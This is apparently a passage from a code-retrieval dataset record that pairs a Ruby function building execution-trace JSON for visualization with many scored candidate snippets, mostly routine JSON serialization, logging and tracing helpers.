"def to_json(obj=@data)\n json_classes = [String, Symbol, Fixnum, Float, Array, Hash, TrueClass, FalseClass, NilClass]\n # Remove non-JSON objects.\n sanitize = nil\n sanitize = Proc.new{ |v|\n if v.is_a?(Array)\n new_v = []\n v.each{ |a| new_v << sanitize.call(a) if json_classes.include?(a.class)}\n new_v\n elsif v.is_a?(Hash)\n new_v = {}\n v.each{ |c, w|\n if (c.is_a?(String) || c.is_a?(Symbol)) && json_classes.include?(w.class)\n new_v[c] = sanitize.call(w)\n end\n }\n new_v\n else\n v\n end\n }\n if json_classes.include?(obj.class)\n o = sanitize.call(obj)\n else\n return \"null\"\n end\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # If it's not a string then turn Symbols into String and replace => and nil.\n json_string = o.inspect.split(/(\\\"(?:.*?[^\\\\])*?\\\")/).\n collect{ |s|\n (s[0..0] != '\"') ? # If we are not inside a string\n s.gsub(/\\:(\\S+?(?=\\=>|\\s))/, \"\\\"\\\\1\\\"\"). # Symbols to String\n gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s\n }.join\n return json_string\n end",
"def json_report(test_report)\n test_report.to_json\n end",
"def toJsonString(prettyP = false)\n case(prettyP)\n when(true) ;\n return JSON.pretty_generate(toJson()) ;\n when(:line) ;\n _strList = @entryList.map{|entry| JSON.generate(entry.toJson())} ;\n return \"[\\n #{_strList.join(\",\\n \")}\\n]\" ;\n else\n return JSON.generate(toJson()) ;\n end\n end",
"def to_json\n a = @hexes.map{ |e| { q: e[0][0], r: e[0][1], data: e[1].data } }\n a.to_json\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def toJson()\n json = to_a().map{|analyzer|\n analyzer.toJson() ;\n }\n return json ;\n end",
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def json()\n @tiles = @ir.map{|e| e.json}\n @event_frame = @tiles.map{|t| t.id }\n end",
"def escaped_json\n json = to_json(:include => :trade_lines)\n return CGI.escape(json)\n end",
"def zombies2json_simple(zombies)\n zombies_hash = {}\n i = 0\n \n zombies.each do |zombie|\n # create hash of zombie details\n zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))\n i+=1\n end\n \n zombies_hash\n end",
"def paths_to_json\n JSON.unparse(paths_to_array) \n end",
"def mlog_json(o)\n a = '1;7;48'\n fmt = \"\\033[1;34;4m%s:%d <%s>-:▼ %s\\n\\033[0m\"\n caller_infos = caller.first.split(\":\")\n print fmt % [caller_infos[0].split(\"/\")[-1].to_s, caller_infos[1], Time.new.strftime(\"%H:%M:%S\"), caller_infos[0].to_s]\n pp o\nend",
"def meta_to_json(str)\n key_pairs = str.split(',')\n h_kp = {}\n key_pairs.each do | kp |\n a_kp = kp.split('=')\n key = a_kp[0]\n val = a_kp[1]\n h_kp[key] = val\n end\n return h_kp.to_json\n end",
"def to_tf_json(structure)\n # structure_top_level_key = structure[:structure].keys.first\n k = structure[:structure].keys.first\n h = structure[:structure][k]\n ret = []\n ret << 34.chr + k.to_s + 34.chr + ' : { '\n ret << %(\"#{h.keys.first}\" : #{JSON.pretty_generate(h[h.keys.first])})\n ret << '},'\n end",
"def stringify_json_attributes(record)\n record.each_with_object({}) { |(key, value), hash| hash[key] = json_values_to_string(value) }\n end",
"def json_formatter\n # Create hash formatted to robot's API for final output with empty \"command_values\" array\n # json_output = { \"robot_commands\" => @command_array.length, \"command_values\" => [] }\n json_output = { }\n # Loop through the @command_array instance variable created above\n command_body = @command_array.each do | command |\n # Add a hash to the \"command_values\" array in the json_output hash for each robot instruction\n # json_output[ \"command_values\" ] << { \"line\" => \"#{ @command_array.index( command ) }\", \"value\" => \"#{ command }\" } \n json_output[ \"cmd#{ @command_array.index( command ) + 1 }\" ] = \"#{ command }\" \n # Set the array element to empty string so that the proper index is set above when it comes back around\n # in the event of duplicate instructions\n @command_array[ @command_array.index( command ) ] = \"\"\n end \n # Convert json_output hash to JSON object, and assign to @output new instance variable\n @output = json_output.to_json\n end",
"def create_traces_markup_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n story_detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n testcase_detail_url_prefix = \"https://#{rally_host}/#/detail/testcase\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_traceid |\n\n is_testcase = this_traceid.match(/^TC/)\n is_requirement = this_traceid.match(/^REQ/)\n\n if !is_testcase.nil? then\n testcase_tag, testcase_fid, testcase_oid, testcase_name = @testcase_TagFidOidName_by_reqid[this_traceid.sub(\"TC\", \"\")]\n\n if testcase_oid.nil? then\n @logger.warn \" *** No Rally TestCase found for Caliber TestCase: CID=#{this_traceid}; (link will be empty)\"\n this_trace = this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally TestCase: FmtID=#{testcase_fid}; OID=#{testcase_oid};\"\n #this_trace_name = @testcase_name_by_caliber_testcase_id[testcase_oid] || this_traceid\n this_trace_name = \"#{this_traceid}: #{testcase_name}\"\n\n detail_url = \"#{testcase_detail_url_prefix}/#{testcase_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n\n if !is_requirement.nil? then\n story_tag, story_fid, story_oid, story_name = @story_TagFidOidName_by_reqid[this_traceid.sub(\"REQ\", \"\")]\n\n if story_oid.nil? then\n @logger.warn \" *** No Rally UserStory found for Caliber Requirement: CID=#{this_traceid}; (link will be empty)\"\n this_trace = @req_name_by_reqid[this_traceid] || this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally UserStory: FmtID=#{story_fid}; OID=#{story_oid};\"\n #this_trace_name = @req_name_by_reqid[this_traceid.sub(\"REQ\", \"\")] || this_traceid\n this_trace_name = \"#{this_traceid}: #{story_name}\"\n\n detail_url = \"#{story_detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n end\n return traces_markup\nend",
"def to_json(obj)\n json_classes = [String, Symbol, Fixnum, Float, Array, Hash, TrueClass, FalseClass, NilClass]\n # Remove non-JSON objects.\n sanitize = nil\n sanitize = Proc.new{ |v|\n if v.is_a?(Array)\n new_v = []\n v.each{ |a| new_v << sanitize.call(a) if json_classes.include?(a.class)}\n new_v\n elsif v.is_a?(Hash)\n new_v = {}\n v.each{ |k, w| new_v[k.to_s] = sanitize.call(w) if (k.is_a?(String) || k.is_a?(Symbol)) && json_classes.include?(w.class) }\n new_v\n elsif v.is_a?(Symbol)\n v.to_s\n else\n v\n end\n }\n if json_classes.include?(obj.class)\n o = sanitize.call(obj)\n else\n return \"null\"\n end\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # Replace => and nil.\n json_string = o.inspect.split(/(\\\"(?:.*?(?:[\\\\][\\\\]*?|[^\\\\]))*?\\\")/).\n collect{ |s|\n (s[0..0] != '\"')? # If we are not inside a string\n s.gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s\n }.join\n return json_string\nend",
"def to_payload\n to_array.map { |line| MultiJson.encode(line) }.join(\"\\n\") + \"\\n\"\n end",
"def json_serialize\n end",
"def prepareTraceReferences(string)\r\n result=string.gsub(/\\s*/,\"\").split(\",\").map{|trace|\r\n itrace = mkInternalTraceId(trace)\r\n texTrace = mkTexTraceDisplay(trace)\r\n if @target == \"pdf\" then\r\n \"\\\\hyperlink{#{itrace}}{#{texTrace}}\"\r\n else\r\n \"[#{trace}](\\##{itrace})\"\r\n end\r\n }\r\n result.join(\", \")\r\n end",
"def extract_json(stdout_string)\n # The output from the docker format command is a JSON string per line.\n # We can't do a direct convert but this helper method will convert it into\n # an array of Objects\n stdout_string.split(\"\\n\")\n .reject { |str| str.strip.empty? }\n .map { |str| JSON.parse(str) }\n end",
"def filter_trace(params)\n trace = {}\n trace['stack'] = {}\n trace['stack']['ordered_variable_names'] = params[0]\n trace['stack']['encoded_locals'] = {}\n params[1].each_pair do |key, value|\n trace['stack']['encoded_locals'][key] = value\n end\n trace['heap'] = {}\n params[2].each_pair do |key, value|\n trace['heap'][key] = value if value.is_a?(Array) && value.length > 2\n end\n trace['code'] = params[3]\n trace['lineNumber'] = params[4]\n trace\n end",
"def to_json\n Report.export(@analysis, :json)\n end",
"def build_body(metric, timestamp, value)\n {\n \"metric\" => metric,\n \"timestamp\" => timestamp,\n \"value\" => value,\n \"tags\" => { \"status\" => \"test\" }\n }.to_json\nend",
"def parse_gherkin_to_json\r\n feature_file_name.each do |file_name|\r\n string_file = file_name.to_s\r\n io = StringIO.new\r\n formatter = Gherkin::Formatter::JSONFormatter.new(io)\r\n parser = Gherkin::Parser::Parser.new(formatter)\r\n #path = File.expand_path(string_file)\r\n parser.parse(IO.read(string_file), string_file, 0)\r\n formatter.done\r\n self.feature_json = MultiJson.dump(MultiJson.load(io.string), :pretty => true)\r\n get_scenario_details\r\n end\r\n\r\n end",
"def json( *args )\n ::Logging::Layouts::Parseable.json(*args)\n end",
"def series_json(params={})\n # Create data for charts\n color = params[:color] ||= 'AA4643'\n color = '#' + color\n series = []\n data = []\n\n data << [self.baseline_date, (self.baseline.round*100).round / 100.0]\n # For ideal data\n self.progresses.each{|progress| \n data << [progress.due_date, (progress.accuracy*100).round / 100.0]\n }\n data << [self.due_date, (self.accuracy*100).round / 100.0]\n #Sort data by due date\n data = data.sort_by { |hsh| hsh[0] }\n \n series << {\n :type => 'line',\n :name => \"Ideal chart\",\n :data => data\n }\n if color && color == '#4572A7'\n series[0][:color] = \"#AA4643\"\n end\n # For add grade \n data = []\n self.grades.find_each{|grade| \n data << [grade.due_date, (grade.accuracy*100).round / 100.0]\n }\n data = data.sort_by { |hsh| hsh[0] }\n series << {\n :name => self.name,\n :data => data,\n :color => color \n }\n series.to_json\n end",
"def parse_tastings\n scents = Array.new\n \n self.tastings.each do |tasting|\n scents << JSON.parse(tasting.json_string)\n end\n \n scents\n end",
"def index\n @traces = Trace.all\n\n render json: @traces\n end",
"def recupera_json(nome_arq)\n linha = ''\n File.open(nome_arq, 'r').each_line do |line|\n if line.include? 'trackinfo: '\n linha = line\n break\n end\n end\n linha.slice!(-2..-1)\n linha.slice!(' trackinfo: ')\n JSON.parse linha\nend",
"def as_json(options = {})\n options = {\n :encoded => true,\n :level => 3\n }.merge options\n\n if options[:encoded]\n {\n :type => 'lineString',\n :encoded => true\n }.merge(Geos::GoogleMaps::PolylineEncoder.encode(self.to_a, options[:level]))\n else\n {\n :type => 'lineString',\n :encoded => false,\n :points => self.to_a\n }\n end\n end",
"def to_json(*a)\n Chef::JSONCompat.to_json(for_json, *a)\n end",
"def convert_span obj\n TraceProtos::Span.new \\\n name: make_resource_name(@project_id, obj.trace_id, obj.span_id),\n span_id: obj.span_id,\n parent_span_id: obj.parent_span_id || \"\",\n display_name: convert_truncatable_string(obj.name),\n start_time: convert_time(obj.start_time),\n end_time: convert_time(obj.end_time),\n attributes:\n convert_attributes(obj.attributes,\n obj.dropped_attributes_count,\n include_agent_attribute: true),\n stack_trace:\n convert_stack_trace(obj.stack_trace, obj.dropped_frames_count,\n obj.stack_trace_hash_id),\n time_events:\n convert_time_events(obj.time_events,\n obj.dropped_annotations_count,\n obj.dropped_message_events_count),\n links: convert_links(obj.links, obj.dropped_links_count),\n status: convert_optional_status(obj.status),\n same_process_as_parent_span:\n convert_optional_bool(obj.same_process_as_parent_span),\n child_span_count: convert_optional_int32(obj.child_span_count)\n end",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count][email protected]\n body[:errors]=@errors\n end\n body.to_json\n end",
"def to_json\n\t\t\"[#{type}, #{time}, #{x}, #{y}]\"\n\tend",
"def to_json(fd, source)\n result_set = []\n fd.puts \"{\", \" 'datetime': '#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}',\" , \" 'state': {\"\n parse(source, result_set)\n result_set.each { |x| fd.puts \" '#{x[0]}': '#{x[1]}',\" }\n fd.puts \" 'end': ''\", \" }\\n}\"\nend",
"def to_json(*args)\n eval(to_s).to_json(*args)\n end",
"def format(tag, time, record)\n #log.trace \"splunk-http-eventcollector(format) called\"\n # Basic object for Splunk. Note explicit type-casting to avoid accidental errors.\n\n placeholder_values = {\n 'tag' => tag,\n 'tag_parts' => tag.split('.'),\n 'hostname' => @hostname,\n 'record' => record\n }\n\n placeholders = @placeholder_expander.prepare_placeholders(placeholder_values)\n\n splunk_object = Hash[\n # for v0.14 millisecs time precision\n \"time\" => time.is_a?(Integer) ? time.to_i : time.to_f,\n \"source\" => if @source.nil? then tag.to_s else @placeholder_expander.expand(@source, placeholders) end,\n \"sourcetype\" => @placeholder_expander.expand(@sourcetype.to_s, placeholders),\n \"host\" => @placeholder_expander.expand(@host.to_s, placeholders),\n \"index\" => @placeholder_expander.expand(@index, placeholders)\n ]\n # TODO: parse different source types as expected: KVP, JSON, TEXT\n if @all_items\n splunk_object[\"event\"] = convert_to_utf8(record)\n else\n splunk_object[\"event\"] = convert_to_utf8(record[\"message\"])\n end\n\n json_event = splunk_object.to_json\n #log.debug \"Generated JSON(#{json_event.class.to_s}): #{json_event.to_s}\"\n #log.debug \"format: returning: #{[tag, record].to_json.to_s}\"\n json_event\n end",
"def format_agent_activity\n @agent_activity_log.group_by(:agent_uuid).map do |agent_uuid, records|\n XES::Trace.new.tap do |trace|\n trace.attributes << XES.string(\"pione:traceType\", \"agent_activity\")\n trace.identity_id = agent_uuid\n trace.events = records.sort{|a, b| a.timestamp <=> b.timestamp}.map do |record|\n XES::Event.new.tap do |event|\n event.concept_name = record.state\n event.org_resource = record.agent_type\n event.time_timestamp = record.timestamp\n event.lifecycle_transition = record.transition\n end\n end\n end\n end.flatten\n end",
"def to_json\n to_s.to_json\n end",
"def to_json(*a)\n %Q[{\"metric_id\":#{metric_id || 'null'},\"metric_name\":#{metric_name.to_json},\"scope\":#{scope.to_json || 'null'}}]\n end",
"def to_json(*a)\n %Q[{\"metric_id\":#{metric_id || 'null'},\"metric_name\":#{metric_name.to_json},\"scope\":#{scope.to_json || 'null'}}]\n end",
"def scores_obj_to_json_str\n strJson = \"{\\\"scores\\\":[\"\n @scores.length.times do |i|\n strJson += \"{\\\"studentId\\\": \" + @scores[i].studentId.to_s + \", \\\"value\\\": \" + @scores[i].value.to_s + \"}\"\n if i != @scores.length-1 then strJson += \", \" end\n end\n strJson += \"]}\"\n strJson\n end",
"def splitJSON2(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":([\\S\\s]*?),/)[0]\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def event_file_data\n { hosts: options[:host],\n description: options[:desc],\n severity: options[:severity],\n tags: options[:evtag] }.to_json\n end",
"def _convertJSON() \n js=\"\"\n \tbegin\n gem \"json\"\n\t\t js = JSON.parse(self.response)\n rescue\n puts \"Error during JSON. #{$!}\"\n end\n\n return js\n\tend",
"def encode_in_chunks(traces)\n encoded_traces = if traces.respond_to?(:filter_map)\n # DEV Supported since Ruby 2.7, saves an intermediate object creation\n traces.filter_map { |t| encode_one(t) }\n else\n traces.map { |t| encode_one(t) }.reject(&:nil?)\n end\n\n Datadog::Chunker.chunk_by_size(encoded_traces, max_size).map do |chunk|\n [encoder.join(chunk), chunk.size]\n end\n end",
"def splitJSON(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":\"([\\S\\s]*?)\"/)\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def json\n value.sub(/^serialized-/, '')\n end",
"def options_string\n options_collection = []\n options.keys.each do |key|\n k = key.to_s.camelize.gsub!(/\\b\\w/) { $&.downcase }\n options_collection << \"\\\"#{k}\\\": #{options[key].to_json}\"\n end\n\n # This check is put in to catch for those graphs that are time series charts. In that event the\n # data needs to be reformated rather than just a blind JSON conversion\n if data.first[:data].first.class == Array and (data.first[:data].first.first.instance_of? DateTime or data.first[:data].first.first.instance_of? Date)\n series_string = \"\\\"series\\\": [\"\n data.each do |single_series|\n series_string << \"{\\\"name\\\":\\\"#{single_series[:name]}\\\", \\\"data\\\":[\"\n\n single_series[:data].each do |single_data|\n series_string << \"[#{single_data[0].strftime('%s').to_i * 1000},#{single_data[1]}]\"\n series_string << \",\" unless single_data == single_series[:data].last\n end\n\n series_string << \"]}\"\n series_string << \",\" unless single_series == data.last\n\n end\n\n series_string << \"]\"\n options_collection << series_string\n else\n # If this isn't a time series chart then just convert the data to JSON directly\n options_collection << \"series: #{data.to_json}\"\n\n end\n\n return \"{#{options_collection.join(',')}}\"\n end",
"def serialize_track(track)\n json = \"{\\\"id\\\": #{track.id},\n \\\"name\\\": \\\"#{track.name}\\\",\n \\\"artist\\\": {\\\"id\\\": #{track.artist.id},\\\"name\\\": \\\"#{track.artist.name}\\\"},\n \\\"release\\\": {\\\"id\\\": #{track.release.id},\\\"name\\\": \\\"#{track.release.name}\\\"},\n \\\"file\\\": \\\"#{track.file.url}\\\"}\"\n end",
"def render_process_variables_json (variables)\n\n OpenWFE::Json.encode(variables)\n end",
"def on_entry_json(name, date_str, json_string)\n on_entry_str(name, date_str, json_string, \"json\")\n end",
"def to_json(*a)\n {\n 'from' => @from,\n 'to' => @to,\n 'message' => @message,\n 'at' => @time.to_i\n }.to_json(*a)\n end",
"def as_json\n to_s.as_json\n end",
"def object_to_json(obj)\n JSON(obj)\nend",
"def deserialize_json_messages(data)\n output = {}\n data.each do |uuid, name_series|\n output[uuid] = {}\n name_series.each do |name, series|\n output[uuid][name] = {}\n series.each do |ts, value|\n # MultiJson gets really upset if you ask it to decode a ruby Hash that ends up\n # being stringified - TODO(al,2012-06-21) figure out why hashes are appearing in this data\n unless value.kind_of? String\n logger.debug \"BUG: Got a ruby hash where a JSON string was expected.\"\n next\n end\n\n begin\n output[uuid][name][ts] = MultiJson.load value\n rescue Exception => e\n hastur_error! \"JSON parsing failed for stored message: #{value.inspect} #{e.inspect}\", 501\n end\n end\n end\n end\n output\n end",
"def json_callback\n trending_data = []\n\n # sql join statement to get all trends/locations through the link table\n trend_info = TrendDatum.find_by_sql(\n [\n 'select locations.x as x, locations.y as y, trends.name as name from trend_data\n inner join locations on trend_data.location_id = locations.id\n inner join trends on trend_data.trend_id = trends.id'\n ]\n )\n\n # loop every trend/location and store it in an object in a list\n trend_info.each do |trend_data|\n trend_data_point = TrendingData.new(trend_data.x, trend_data.y, trend_data.name)\n unless trend_data_point.nil?\n trending_data.push trend_data_point\n end\n end\n\n # return list of objects as json\n trending_data.to_json\n end",
"def create\n data = []\n trace_params.each do |p|\n hash = {\n latitude: p[\"latitude\"],\n longitude: p[\"longitude\"]\n }\n data << hash\n end\n\n if Trace.upload_data(data)\n render json: {status: 'OK'}\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end",
"def stringify\n json_hash = {}\n\n begin\n json_hash = Serializer.serialize(self, class: self.class.name)\n rescue JSON::JSONError => e\n warn \"#{__FILE__}.#{__LINE__}: #{e.message}\"\n end\n\n json_hash.to_json\n end",
"def live_json\n json_hash = {}\n\n @axis.each_pair do |input_obj, options|\n # retrieve data from input_obj\n dataset = input_obj.retrieve_last\n\n # TODO any math required on value\n json_hash[options[:name]] = []\n\n dataset.each_pair do |time, value|\n json_hash[options[:name]] = [time * 1000, value] # convert to JS timestamp\n end\n end # @axis.each_pair\n\n JSON.pretty_generate(json_hash)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def to_json(*a)\n for_json.to_json(*a)\n end",
"def orig_text_response\n {:body=>\"Hi,\\n\\n##\\n\\n\\nName:\\n test_to_yaml_with_time_with_zone_should_not_raise_exception\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L7\\nName:\\n test_roundtrip\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L20\\nName:\\n test_roundtrip_serialized_column\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L27\\nName:\\n test_encode_with_coder\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L32\\nName:\\n test_psych_roundtrip\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L39\\nName:\\n test_psych_roundtrip_new_object\\nLocation:\\n https://github.com/rails/rails/blob/master/test/cases/yaml_serialization_test.rb/#L46\\n\\n--\\n@schneems\\n\", :content_type=>\"text/plain\"}.dup\nend",
"def to_json\n hash = {}\n self.instance_variables.each do |var|\n hash[var.to_s.sub(/^@/, '')] = self.instance_variable_get var\n end\n '{\"event\":' + hash.to_json + '}'\n end",
"def convert_to_json(graph)\n # Ugly conversion to string and back to JSON,\n # however, other approaches don't respect @context.\n error_hash = JSON.parse graph.dump(:jsonld, context: JSONLD_CONTEXT.dup)\n error_list = error_hash[\"@graph\"] || [error_hash]\n error_list.map do |item|\n item.delete_if { |key, value| IGNORED_ATTRS.include? key}\n item[\"@context\"] = \"#{@base_uri}context.jsonld\"\n item \n end\n end",
"def to_s # :nocov:\n s = []\n s << \"JsonResponse:#{self.object_id}\"\n s << \" status: #{self.status}\"\n s << \" code: #{self.code}\"\n s << \" message: #{self.message}\"\n s << \" data: \" + MultiJson.dump(self.data)\n s.join(\"\\n\")\n end",
"def messages_to_json(messages)\n messages.map{|msg|{\n \"user_fb_id\" => msg.user_fb_id,\n \"message_class\" => msg.html_class,\n \"sent_at\" => msg.created_at.to_formatted_s(:short), \n \"sent_at_long\" => msg.created_at.strftime(\"%b %e, %Y %I:%M %p\"),\n \"message\" => msg.message,\n \"id\" => msg.id,\n \"url\" => rental_unit_inquiries_url(msg.booking.rental_unit),\n \"booking_id\" => msg.booking_id\n }}.to_json\n end",
"def add_telemetry(text, metrics: 1, events: 0, service_checks: 0, bytes_sent: 0, bytes_dropped:0, packets_sent: 0, packets_dropped: 0, transport: 'udp')\n [\n text,\n \"datadog.dogstatsd.client.metrics:#{metrics}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.events:#{events}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.service_checks:#{service_checks}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.bytes_sent:#{bytes_sent}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.bytes_dropped:#{bytes_dropped}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.packets_sent:#{packets_sent}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.packets_dropped:#{packets_dropped}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n ].join(\"\\n\")\n end",
"def pretty_json\n JSON.pretty_generate(delta_pack)\n end",
"def to_json(_options = {})\n hash = {\n level: @level,\n source_file: @source_file,\n source_lines: @source_lines,\n message: @message,\n log_lines: @log_lines,\n preformatted: @preformatted\n }\n hash[:pattern] = @pattern if Logger.debug?\n JSON.pretty_generate hash\n end",
"def convert\n old = @hashes\n @hashes = Hash.new\n\n puts 'Warning: old JSON format detected, converting.'\n old.each {|i| add_hash(i[:id], i[:deletehash], 'unknown') }\n save\n end",
"def json\n\n JSON.fast_generate(@gltf)\n\n end",
"def format!\n return unless trace\n return trace unless root_span\n\n # Because the trace API does not support\n # trace metadata, we must put our trace\n # metadata on the root span. This \"root span\"\n # is needed by the agent/API to ingest the trace.\n\n # Apply generic trace tags. Any more specific value will be overridden\n # by the subsequent calls below.\n set_trace_tags!\n\n set_resource!\n\n tag_agent_sample_rate!\n tag_hostname!\n tag_lang!\n tag_origin!\n tag_process_id!\n tag_rule_sample_rate!\n tag_runtime_id!\n tag_rate_limiter_rate!\n tag_sample_rate!\n tag_sampling_decision_maker!\n tag_high_order_trace_id!\n tag_sampling_priority!\n tag_profiling_enabled!\n\n trace\n end",
"def to_json\n Yajl::Encoder.encode(to_hash, :pretty => true)\n end"
] | [
"0.7023154",
"0.63920337",
"0.631136",
"0.6275152",
"0.62739885",
"0.6178219",
"0.5559284",
"0.53204095",
"0.51694477",
"0.5123657",
"0.5102622",
"0.50852495",
"0.5061908",
"0.50488085",
"0.50301486",
"0.50261694",
"0.5007797",
"0.49982178",
"0.49965495",
"0.49964806",
"0.4989282",
"0.49766648",
"0.49766648",
"0.49766648",
"0.49766648",
"0.49697125",
"0.49640387",
"0.4950235",
"0.49485964",
"0.49450937",
"0.49377084",
"0.49304488",
"0.49255633",
"0.4921152",
"0.4908697",
"0.48967746",
"0.4895647",
"0.48921156",
"0.48878443",
"0.48818377",
"0.48753583",
"0.48605496",
"0.48588976",
"0.48578376",
"0.48491737",
"0.4844503",
"0.48377535",
"0.48324746",
"0.4830526",
"0.48281044",
"0.4822004",
"0.4815369",
"0.48141998",
"0.48061594",
"0.48031393",
"0.47948113",
"0.47926518",
"0.478662",
"0.47692886",
"0.47585362",
"0.47497004",
"0.47461846",
"0.47461846",
"0.47397873",
"0.4737697",
"0.47282878",
"0.47204342",
"0.47190973",
"0.4718098",
"0.47100863",
"0.47081864",
"0.47031194",
"0.46898764",
"0.46889424",
"0.468776",
"0.46863618",
"0.46848658",
"0.4679977",
"0.46793848",
"0.46771336",
"0.46717286",
"0.4666003",
"0.46648347",
"0.46648347",
"0.46648347",
"0.46648347",
"0.46648347",
"0.46648347",
"0.46561754",
"0.4653157",
"0.46518734",
"0.4646903",
"0.4645826",
"0.46439645",
"0.46418613",
"0.46407187",
"0.46356955",
"0.4634348",
"0.46342546",
"0.46294218"
] | 0.59042925 | 6 |
Generate the traces that will be used in the visualization process. This is done by 1 extract the variables names form the trace 2 extract the encoded locals from the trace 3 extract the heap values form the trace 4 extract the code from the trace | def create_new_traces
@traces.each do |trace|
trace_stack = trace.stack_to_render[0]
unless(trace_stack.func_name.include? '<init>')
trace_stack_ordered_variable_names = trace_stack.ordered_varnames
trace_stack_encoded_locals = trace_stack.encoded_locals
trace_heap = trace.heap
trace_code = @code[trace.line]
filtered_trace = filter_trace([
trace_stack_ordered_variable_names,
trace_stack_encoded_locals,
trace_heap,
trace_code,
trace.line
])
@new_traces << filtered_trace
trace_string = Yajl::Encoder.encode(filtered_trace)
@traces_json_array << trace_string
@traces_json_string += trace_string + ','
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def filter_trace(params)\n trace = {}\n trace['stack'] = {}\n trace['stack']['ordered_variable_names'] = params[0]\n trace['stack']['encoded_locals'] = {}\n params[1].each_pair do |key, value|\n trace['stack']['encoded_locals'][key] = value\n end\n trace['heap'] = {}\n params[2].each_pair do |key, value|\n trace['heap'][key] = value if value.is_a?(Array) && value.length > 2\n end\n trace['code'] = params[3]\n trace['lineNumber'] = params[4]\n trace\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def generate_tracing_configuration()\n result = \"\"\n\n if @tracing_vars\n @tracing_vars.each_with_index do |var_name, var_index|\n result += \"garbledwebpiratenlibraryname.add_traced_variable('#{var_name}', #{var_index})\\n\"\n end\n result += \"\\n\"\n end\n\n return result\n end",
"def get_stages exec_trace\n ret_array = []\n lines = exec_trace.split /\\n/\n current_line = 0\n # Skip past preamble\n until lines[current_line] =~ /M@/\n current_line += 1\n end\n pattern = /M@(\\w+)/\n while current_line < lines.length\n if lines[current_line].match pattern\n command = lines[current_line].sub pattern, '\\1'\n case command\n when \"assign\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"new\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := new(#{exp})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"dispose\"\n var = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = 